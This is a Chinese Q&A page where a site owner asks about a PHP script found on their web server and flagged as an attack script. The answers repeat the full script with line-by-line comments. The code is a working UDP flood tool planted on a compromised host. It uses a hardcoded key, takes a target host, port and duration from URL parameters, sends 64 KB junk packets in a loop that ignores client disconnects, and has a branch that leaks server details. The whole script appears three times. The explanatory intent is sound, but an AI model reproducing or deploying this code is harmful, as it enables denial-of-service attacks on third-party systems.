帮我备注下这段php

<?php

set_time_limit(999999);
$apikey = $_GET['apikey'];
if($apikey!='bbbbbbbbbbbbbbbbb') die('cccccccccccccc');
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

代码太长了,得慢慢来解释


<?php
set_time_limit(999999);//设置脚本超时时间,999999就是不超时,永远执行下去
$apikey = $_GET['apikey'];//获取url中的apikey参数
if($apikey!='bbbbbbbbbbbbbbbbb') die('cccccccccccccc');//如果apikey不等于bbbbb...则停止脚本运行,并输出cccccc...
$host = $_GET['host'];//取得url中的参数host
$port = $_GET['port'];//获取port
$exec_time = $_GET['time'];//取得time参数
$Sendlen = 65535;//发送的长度
$packets = 0;//数据包为0
ignore_user_abort(True);//即使关闭浏览器脚本也依然会被执行下去
//下面是说当host或port或exec_time变量为空的时候,当然长度也为0了.
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
//再判断rat变量是否为空
if (StrLen($_GET['rat'])<>0){
// 不为空就输出rat变量+一些系统环境变量
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;//退出脚本
}
echo "Parameters can not be empty!";//输出参数不能为空
exit;//退出
}
//一个循环,长度为65535
for($i=0;$i<$Sendlen;$i++){
$out .= "A"; 每次+'A'符号
}
$max_time = time()+$exec_time;//把现在的时间+变量exec_time
while(1){//无限循环
$packets++;//把数据包变量每次加1
if(time() > $max_time){ //如果当前时间大于最大时间
break;//跳出循环
}
//打开一个socket连接,用UDP协议
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){//如果成功打开
fwrite($fp, $out);//发送AAA那一堆,还记得吗?
fclose($fp);
}
}
//输出一些信息,就是主机+端口还有发送的数据包详情和时间等
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

追问

谢谢了, 在我网站里面发现的, 安全狗说是攻击脚本 很好奇这个玩意的原理

追答

谢谢还不采纳o(∩_∩)o

温馨提示:答案为网友推荐,仅供参考
第1个回答  2013-04-10
<?php
set_time_limit(999999);//超时时间(秒)
$apikey = $_GET['apikey'];//获取GET值
if($apikey!='bbbbbbbbbbbbbbbbb') die('cccccccccccccc');//如果不相等就退出输入die后面的
$host = $_GET['host'];//获取GET值
$port = $_GET['port'];//获取GET值
$exec_time = $_GET['time'];//获取GET值
$Sendlen = 65535;//设值
$packets = 0;//设值
ignore_user_abort(True);//函数设置与客户机断开是否会终止脚本的执行。
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){//判断参数值 是否为空
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}
for($i=0;$i<$Sendlen;$i++){//循环
$out .= "A";
}
$max_time = time()+$exec_time;//在当前时间加上秒数
while(1){//循环
$packets++;
if(time() > $max_time){//如果当前时间超过了这个值就跳出
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开网络的 Socket 链接。
if($fp){
fwrite($fp, $out);//写值
fclose($fp);
}
}
echo "Send Host:$host:$port<br><br>";//主机和端口
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";//发送数据
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";//发送速率
?>

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网